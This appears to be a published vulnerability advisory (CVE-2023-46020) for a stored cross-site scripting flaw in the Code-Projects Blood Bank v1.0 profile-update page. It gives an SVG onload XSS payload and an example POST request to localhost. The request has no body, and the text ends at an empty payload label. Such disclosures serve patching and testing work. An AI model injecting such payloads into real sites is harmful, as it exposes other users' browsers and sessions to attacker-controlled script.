# Exploit Title: Blood Bank v1.0 Stored Cross Site Scripting (XSS)  
# Date: 2023-11-14  
# Exploit Author: Ersin Erenler  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0  
# CVE : CVE-2023-46020  
# Description:  
The parameters rename, remail, rphone, and rcity in the /file/updateprofile.php file of Code-Projects Blood Bank V1.0 are susceptible to Stored Cross-Site Scripting (XSS). This vulnerability arises due to insufficient input validation and sanitation of user-supplied data. An attacker can exploit this weakness by injecting malicious scripts into these parameters, which, when stored on the server, may be executed when other users view the affected user's profile.  
Vulnerable File: updateprofile.php  
Parameters: rename, remail, rphone, rcity  
# Proof of Concept:  
1. Intercept the POST request to updateprofile.php via Burp Suite  
2. Inject the payload to the vulnerable parameters  
3. Payload: "><svg/onload=alert(document.domain)>  
4. Example request for rname parameter:  
POST /bloodbank/file/updateprofile.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 103  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/bloodbank/rprofile.php?id=1  
Cookie: PHPSESSID=<some-cookie-value>  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
5. Go to the profile page and trigger the XSS  
XSS Payload: